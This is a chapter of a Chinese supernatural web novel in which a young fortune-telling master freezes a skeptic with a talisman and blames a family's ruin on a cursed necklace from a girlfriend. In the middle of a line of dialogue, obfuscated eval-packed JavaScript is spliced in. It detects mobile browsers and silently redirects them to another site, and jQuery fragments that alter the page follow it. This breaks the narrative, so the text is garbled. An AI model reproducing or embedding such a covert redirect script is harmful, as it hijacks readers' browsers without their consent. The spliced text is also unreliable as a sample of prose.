林景之核对了好几遍信息,彻底确定了自己要请的大师就是眼前的小姑娘。
可是这也太年轻了,看模样和自己差不多。这么年轻,干点什么不好,装大师出来骗人?
他拖到下午才来接人,还在电话里被爸妈给训了一顿,所以来之前他已经决定了,只是奉命接人,其他的一概不再管。吃一堑长一智,说再多,都抵不上被骗一次来得教训深刻。
“你们家具体是出了什么事?”秦睿明只是说他们家里出了点事,并没有说具体的,到现在阮夏还不知道今天是要解决什么问题。
林景之从后视镜里扫她一眼,语气轻慢:“大师,你们不是都会算吗,您没算出来吗?”
呵,来者不善啊。
路口红灯,车子缓缓停下来。
“算就算!”阮夏扶着座椅探身向前,前排林景之恰好转过头来看她,两个人离得特别近。
“你干嘛?”林景之发现两人几乎贴脸,猛地往后仰。
阮夏坐回位置,双臂交叉:“你一落地,祖荫就是厚得化不开,拥有别人奋斗几十年追求的条件。前二十年,你能承接这泼天富贵。你自身也不差,命里带财,伏犀骨入印堂,学问不错。可是现在你的印堂有晦暗之色,看时间也是近几年的事,你家业落败,学业受阻,爱情无望,一、事、无、成。”
后面四个字,一字一顿,颇有种轻蔑的意味。
“你!”林景之想要回怼,可是红灯已经变绿,后面的车子响起“滴滴”催促声,只好先发动车子,“你说的这些不过是话术。还有这几年我家里是出了事,但是这些事又不是秘密,稍微一打听就知道。”
阮夏转过头和他在后视镜里对视,“是吗,你眉尾突现散乱,太阳穴一侧色泽灰暗,兄弟宫有崩塌之兆。这也不是秘密?”
林景之心底一惊,猛打方向盘,将车停在路边:“你怎么知道?”
哥哥突发疾病这事,为了稳住公司形势,家里人没有对外说一句,连医院都是托关系找的私密病房。
片刻后,他恍然,“哦,是秦睿明告诉你的吧!”
阮夏无语地翻个白眼,要不是秦睿明委托,这样的客户就算钱多,她也有点不想挣。
见她不说话,林景之以为自己揭穿了真相,自顾自地发动车子。
*
林家给林景之大哥林安之安排的病房在一家私立医院里面。原来这家医院林家也有股份,可是前两年公司业绩下滑,难以为继。林家便把医院的股份卖了,填补项目的亏空。好在医院里的老朋友还愿意帮他们一把,让他们无后顾之忧。
“已经给安之做了全部的检查,除了一些小毛病之外,没有什么能影响到他大脑的疾病。”院长拿着检查报告,一页一页地翻给林父看。
林母坐在病床前拉着儿子的手,眼眶通红:“这已经是今年的第三次突然昏迷了,之前都是睡一觉就醒了。现在已经过了三天了,还没有醒过来。检查也没问题,难不成真的没有办法了吗?”
林父叹口气,接过检查报告没说什么。这两年他们家事事不顺,但是损失些钱财也就罢了,至少家人平安。可是谁承想,老大竟然莫名其妙地昏倒,几天了,一点异常也查不出来。难不成真的是命?
院长见两人如此,默默地退了出去。
“爸妈,我回来了。”随着两声敲门声,一个年轻人推门进来,打破病房里的寂静。
林景之带着阮夏走进病房,神色带着三分调侃四分不屑外加两分揶揄,“爸妈,我把你们要的大师接过来了。”
林父和林母一起站起身来,可是近来的是一个年轻靓丽的女生。两人上下打量了片刻,这人和大师似乎丝毫不沾边啊。
两人对视一眼,都在彼此眼中看到了怀疑。
他们也是病急乱投医了,老大的身体突然出问题,还检查不出来病因,闲聊时听别人说过那方面的事,想着试一试,便委托好友请了一位德高望众的道长。结果道长繁忙,不过说会给他们找一个厉害的道友前来。
可眼下却来的是一个小姑娘。
林父尴尬地开口:“小姑娘啊,你是不是弄错了?我们……”
阮夏摆摆手:“没有弄错,的确是秦队长让我来的。你们不信我没关系,我只是接了他的委托,不落他的面子而已。做生意本来就是你情我愿,你们若不愿意,我不勉强。”
说完,她转身就要离开。
“等等!”
就在她要走出病房时,林母突然出声阻止。事到如今,他们也没有别的办法,倒不如试一试,事情也不会比现在更糟。
“不好意思,我们不是那个意思。只是没有见过你这样……这么年轻的,有点惊讶而已。我们,我们愿意试一试。”
林景之刚松口气不过两秒,没想到他妈竟然又把人叫了回来,顿时气急:“妈,她肯定是个骗子!这都是他们的套路!”
阮夏转身,眼神微冷,掏出一张定身符甩出去。符纸轻飘飘的,却像石子一样飞出去,贴在林景之身上。
“没有任何证据,你叫了我三次骗子,真以为我好说话啊!”
符纸贴到身上,林景之立刻感觉到自己像是被禁锢了一样,手脚都无法动弹,想要说话,可是嘴巴无论如何都张不开。心里惊悚万分,这是什么邪术?
“景之,你怎么了?”林母看儿子一动不动,焦急地围着他转圈。虽然知道是因为符纸,却不敢直接揭下来。
林父知道这是儿子嘴贱,惹了人不痛快,连忙替儿子道歉:“大师,我替我儿子给您道歉,他年轻气盛,您大人不记小人过。放他一次吧,这次他肯定涨了教训。”
阮夏叹口气,毕竟是秦睿明的朋友,不看僧面看佛面。于是走上前,把符纸揭了。
符纸一揭下来,林景之立马能动了。闭紧嘴巴躲在林母身后,一句话也不敢多说。
林母见状,放下心来。儿子受了一点罪,能确定大师的真本事,也算是因祸得福。
“大师,刚才是我们有眼不识泰山。只要您能给我儿子看看,多少钱我们都愿意出。”
“秦队长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611282|203615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也帮过我,”阮夏点头,“我只是还他的人情。”
说完,她径自走到病床前,看了看病床上躺着的人,视线又在他们几人身上绕了一圈,末了指着林景之脖子里戴的项链:“把你脖子上的东西摘下来。”
林景之迅速把脖子里的项链解下来。他刚才被吓得不轻,他一向是唯物主义论,可是刚才符纸指指朝他飞过来的时候,那速度力度,用物理动力什么学都解释不了。而且刚才他真的就像是清醒着梦魇一般,怎么都动不了。这科学无法解释,那就只有……玄学了。
她真的是个大师!
“这个项链是你大哥的吧?”阮夏摸了摸项链上挂着的玉珠。
“你怎么知道?”林景之愣住。这个项链本来是戴在大哥脖子上的,是大哥晕倒之后,怕勒脖子才帮他接下来,随手戴自己身上了。这两天忙,竟然忘了取下来。
阮夏:“这项链有问题,哪来的?”
“不可能!”林景之脱口而出,“项链怎么会有问题?”
林父和林母对年轻人的这些小物件是一点都不知道,见老二还在墨迹,一人一个巴掌扇在他后脑勺:“大师问你呢,项链哪来的?”
林景之:“项链是大哥的女朋友姜明月送的,我亲眼看着她给大哥戴上的。”
阮夏点头:“你们家慢慢开始出事,也是以这个项链出现为时间节点吧?那个姜明月是不是从那之后,事业财运都是蒸蒸日上?”
林景之呆愣在原地,林父林母的脸色慢慢变得凝重。他们都不敢相信这事居然和大哥/儿子的女朋友有关。如果老大没有昏迷,再过不久他们就会订婚结婚。
可是顺着大师的说法想,姜家之前确实落魄,生意一落千丈,项目频频出现问题。当时姜明月经常来他们家做客,两家人都默认会成为亲家。林家帮忙出资,找门路,帮助姜家重新站起来。
之后姜家生意越做越大,越来越好。反观他们家,项目被截胡,车祸生病小灾小难不断。连住了几十年的别墅都卖了出去。老二临近毕业,被人举报论文抄袭。就算最后洗脱了污名,可是也搭进去了时间和精力,到现在这事情也是一个污点。女儿的工作也是事事不顺。
越想越心惊,林父颤颤巍巍地指着项链:“你是说就是这个东西,把我们家变成了现在这样?”
阮夏点头:“这个项链被人做了法。恐怕,他们送你们的应该不止这一件吧?”
想到家里那些首饰,衣服和包包,林母双腿一软,直接跌倒在地。
家里出事之后,公司都缩小好几倍。姜明月不仅没有嫌弃,还经常来探望,每次来都不会空手,不是衣服就是首饰。除了给他们两老的,还有景之和他妹妹的。她逢人便说,老大给自己找了个好儿媳妇。可是现在……
林父深吸一口气,把老伴扶起来,“大师,我们现在应该怎么做?”
阮夏指着床上的人,“我先把他弄醒再说。”
林父:“大师,他这是怎么了?”
“山根隐线赤丝,有东西,在偷他的命。”